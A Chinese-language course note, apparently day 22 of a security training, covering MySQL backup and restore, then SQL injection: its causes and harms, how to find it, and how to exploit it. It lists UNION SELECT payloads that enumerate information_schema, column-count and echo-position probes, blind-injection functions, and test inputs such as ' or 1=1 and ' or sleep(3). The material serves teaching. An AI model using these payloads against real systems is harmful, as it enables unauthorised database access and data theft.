day22_kls

课程内容

数据库(mysql)

数据库备份

1
mysqldump -u username -p database_name > backup_file.sql

数据库恢复

1
mysql -u username -p database_name < backup_file.sql

漏洞学习方法

如何产生的

会产生何种危害

如何挖掘

如何利用

如何防御,如何修复

如何绕过防御

sql注入

产生的原因

开发者没有对传入数据进行严格的校验过滤,导致恶意sql语句被拼接到sql语句中执行。

危害

泄漏信息,控制目标服务器。

挖掘

白盒

查看可控参数是否被严格过滤。

黑盒

扫描器测试所有参数。

手工测试:寻找可能与数据库交互的参数

利用

利用

mysql

元数据

information_schema

数据库

UNION SELECT NULL, schema_name FROM information_schema.schemata–

表名

UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = ‘your_database_name’–

列名

UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = ‘your_table_name’–

查询注入点列数

group by 2 –

查找回显位

union select 1,2,3,4

常用函数

USER()

CONCAT()

CURRENT_USER()

VERSION()

盲注用

SUBSTRING()

CHAR_LENGTH()

LENGTH()

ASCII()

黑盒测试之手工注入

注入点测试

闭合符号,',",)

报错测试

将闭合符号拼接到

and测试

需要有正确的值,拼接后输入正确的值,服务器仍能返回与之前相同的内容

or测试

' or 1=1

sleep测试

' or sleep(3)

分类

image.png